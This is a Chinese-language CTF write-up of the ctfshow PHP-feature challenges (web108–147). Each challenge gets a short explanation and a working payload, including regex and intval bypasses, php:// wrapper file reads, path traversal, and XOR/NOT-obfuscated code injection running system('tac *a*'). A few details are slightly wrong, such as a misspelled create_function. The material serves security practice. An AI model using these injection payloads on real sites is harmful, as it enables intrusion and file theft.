[]php特性
web108
ereg就是正则匹配,这里是要开头和结尾都是字母
strrev返回string反转后的字符串
intval是取字值,把非整数的变量取整,如果字母开头就是0,数字开头就只取字母或小数点前面的数
%00这个字符在c语言和php中会直接结束这个字符串
0x36d=877
所以我们url?c=a%00778
web109
这里正则有个数字即可
经测试v1不管为什么函数,v2的函数肯定会执行,
我们这里让v1为会将参数当php代码执行的函数,如:exception
v2直接为system()即可,v2的括号会把system的返回值当作函数再次调用,所以不用管
?v1=exception&v2=system(ls)
web110
根据过滤发现上一题的方法v1可以用,先用v2=phpinfo,看disable项发现没有禁用的类和方法
用DirectoryIterator()内置类,括号里面是当前目录,但是这里符号都被过滤不行,因为这个是副类,要用继承类FileSystemIterator
所以用到getcwd取得当前目录
?v1=FileSystemIterator&v2=getcwd,得到flag文件名,直接访问
web111
这里正则只要v1有ctfshow即可
$$意思是把传参再次进行变量
我们最终要得到 $flag 的值,就需要 var_dump($$v1) 中的 $v1 为 flag,即 $v2 要为 flag,这样 $$v2 就为 $flag
对应的值URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null
我们可以用全局变量GLOBALS 常量数组,它会把全局所有的变量都显示出来
?v1=ctfshow&v2=GLOBALS
web112
is_file是判断文件名是否为正常文件,可以用包装器 伪协议绕过
不影响highlight_file file_get_contents
?file=php://filter/resource=flag.php
web113
把上一题的伪协议过滤了
那这里就用zip伪协议
?file=compress.zlib://flag.php
web114
这里zip过滤了,但filter放出来了
?file=php://filter/resource=flag.php,和113一样
web115
numeric判断是否为字符数字,36a不行,前面加空格可以,后面不行,空格用%09
%0936与字符串36不一样所以第二个过滤通过
trim函数
用%0c换页键可过滤%0c36既等于36又不等于36
?num=%0c36
web123
要有CTF_SHOW存在 和 CTF_SHOW.COM存在 而 fl0g 不存在
由于在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
类似双写绕过
直接在post里CTF_SHOW=1&CTF[SHOW.COM=2&fun= echo $flag
web125
过滤了echo
可以用伪协议绕过
url?1=php://filter/convert.base64-encode/resource=flag.php
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=include$_GET[1]
web126
多过滤了几个字母
url?a=1+fl0g=flag_give_me
post:
CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1])
web127
题目检查的是$url而不是$_GET
所以通过空格会转化成_的原理
url?ctf%20show=ilove36d
web128
php环境配置了gettext环境,它有个别名_,可以将参数翻译成指定语言,一般就是原封不动的输出参数
get_defined_vars 函数可以输出所有变量的信息
?f1=_&f2=get_defined_vars
web129
stripos,查找字符串首次出现的位置(有i不区分大小写),即ctfshow在变量f中出现的第一个位置
这里要目录穿越,经过测试
?f=/ctfshow/../var/www/html/flag.php
web130
正则要求ctfshow前面不能有?等字符
第二个布尔类型和数字不能===
所以直接post f=ctfshow
web131
比上一题多了个字符型转换
preg_match 函数的栈溢出会使其返回 false,在某些需要符合正则匹配的场景不适用,
我们字符串超出正则匹配的范围即可
post: f=省略几万个字符36Dctfshow
web132
打开是网站,先访问robots.txt,发现admin,再访问admin
发现php
因为有一个||所以当username=admins时全都为真
?code=admin&password=123&username=admin
web133
不懂
web134
extract会把数组里的元素变为变量,值为变量值
所以我们直接?$_POST['key1']=36d&$_POST['key2']=36d
web135
因为截取字段但不会影响eval,所以直接在后面偷偷加代码执行
自身的值在被eval时候直接引用自身,可以用cp把flag复制到1.txt访问
?F=`$F`+;cp+flag.php+1.txt
再访问1.txt得到flag
web136
无回显
用?c=ls /|tee 2,再访问2,可以将目录文件名下载下来
得到flag文件名后?c=cat /f149_15_h3r3|tee 3 访问下载查看
web137
这里涉及到类,直接用c语言类的调用解决
post: ctfshow=ctfshow::getFlag
web138
这里过滤了:号
我们这里传入一个数组,数组也可以是类
先调用类再调用函数
post:
ctfshow[]=ctfshow&ctfshow[]=getFlag
web140
if判断是弱等于,需要intval($code)
的值为0
system()必须包含参数,失败返回FLASE
所以?f1=system&f2=system
web141
这里用异或绕过
因为1+代码+1是可以执行的所以v1v2不用管,v3用异或输入代码即可
?v1=1&v2=1&v3=-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)-
相当于system('tac *a*')
web143
与141同,减号换成*
?v1=1&v2=1&v3=*(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)*
web144
v2不能有字母
调换参数顺序即可
?v1=1&v3=-&v2=(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)
web145
过滤了异或符,就用取反
?v1=1&v2=2&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%d5%9e%d5):
web146
这一题过滤了冒号
可以用|
?v1=1&v2=2&v3=|(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%d5%9e%d5)|
web147
这里不能有两个参数,所以ctf用匿名函数,post: ctf=\cteate_function
再直接让前面花括号闭合,直接命令执行,再把后面的花括号注释掉,得到flag
url?show=}system('tac *a*');/*